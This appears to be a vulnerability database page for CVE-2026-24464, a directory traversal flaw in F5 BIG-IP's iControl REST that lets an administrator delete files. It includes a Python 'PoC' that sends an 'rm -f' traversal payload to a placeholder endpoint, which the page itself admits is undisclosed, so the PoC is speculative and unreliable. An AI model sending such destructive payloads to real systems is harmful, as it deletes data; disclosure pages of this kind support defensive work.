CVE-2026-24464

Description

When running in Appliance mode, a directory traversal vulnerability exists in an undisclosed iControl REST endpoint that may allow an authenticated attacker with administrator role privileges to cross a security boundary and delete files. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

CVSS Details

CVSS Score

6.8

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

F5 BIG-IP (Appliance Mode, 具体版本需参考厂商公告 K000160911)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# PoC for CVE-2026-24464: Directory Traversal in F5 BIG-IP iControl REST
# This script demonstrates the potential exploitation logic.
# Note: The specific vulnerable endpoint is undisclosed in the summary.

TARGET_URL = "https://<target_ip>/mgmt/tm/util/<vulnerable_endpoint>"
AUTH_TOKEN = "<admin_auth_token>"

headers = {
    "X-F5-Auth-Token": AUTH_TOKEN,
    "Content-Type": "application/json"
}

# Payload utilizing directory traversal to delete a file
payload = {
    "command": "run",
    "utilCmdArgs": "rm -f ../../../var/tmp/sensitive_config.xml"
}

try:
    response = requests.post(TARGET_URL, json=payload, headers=headers, verify=False)
    if response.status_code == 200:
        print("[+] Potential file deletion successful.")
    else:
        print(f"[-] Request failed. Status: {response.status_code}")
except Exception as e:
    print(f"[!] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-24464
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-24464
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-24464/
[4] VulDB https://vuldb.com/cve/CVE-2026-24464
[5] https://my.f5.com/manage/s/article/K000160911

Raw JSON Data

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